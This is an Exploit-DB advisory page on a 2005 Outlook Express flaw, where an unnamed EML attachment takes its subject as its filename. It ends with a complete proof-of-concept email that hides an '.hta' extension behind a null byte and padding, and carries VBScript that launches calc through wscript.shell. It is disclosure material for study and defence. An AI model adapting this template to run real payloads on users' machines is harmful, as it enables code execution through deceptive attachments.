Microsoft Outlook Express Attachment File Extension Obfuscation Vulnerability

vendor:

Outlook Express

by:

Benjamin Tobias Franz

7.5

CVSS

HIGH

Attachment File Extension Obfuscation Vulnerability

434

CWE

Product Name: Outlook Express

Affected Version From: Microsoft Outlook Express

Affected Version To: Microsoft Outlook Express

Patch Exists: NO

Related CWE: N/A

CPE: microsoft:outlook_express

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2005

Microsoft Outlook Express Attachment File Extension Obfuscation Vulnerability

Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations. The issue manifests due to Microsoft Outlook Express behavior while handling an 'EML' email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename. Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.

Mitigation:

Ensure that the email client is configured to block the execution of attachments with certain file extensions.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/13837/info

Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations.

The issue manifests due to Microsoft Outlook Express behavior while handling an 'EML' email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename.

Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.

This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker-supplied code. 

===>>> PoC - Start <<<===
From:"Benjamin Tobias Franz"<0-1-2-3@gmx.de>
To:You
Subject:MSOE - Attachment Download Security Restriction Bypass
Date:Wed, 1 Jun 2005
Content-Type:multipart/mixed;boundary="btf"

--btf
Content-Type: text/plain;

Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.


Regards,

Benjamin Tobias Franz
Germany
--btf
Content-Type:message/rfc822
Content-Transfer-Encoding:quoted-printable

<!--
Subject:BTF's MSOE Attachment Download Security Restriction Bypass=
.hta=00.btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtf
-->
<title>YOU ARE VULNERABLE</title>
<script language=vbscript>set btf=createobject("wscript.shell")=
:btf.run("calc")</script><body style="background-color:red;font-si=
ze:40px;"><b>YOU ARE VULNERABLE!!!</b><br><br><br>Regards,<br><br>
Benjamin Tobias Franz<br>Germany</body>
--btf--

===>>> PoC - End <<<===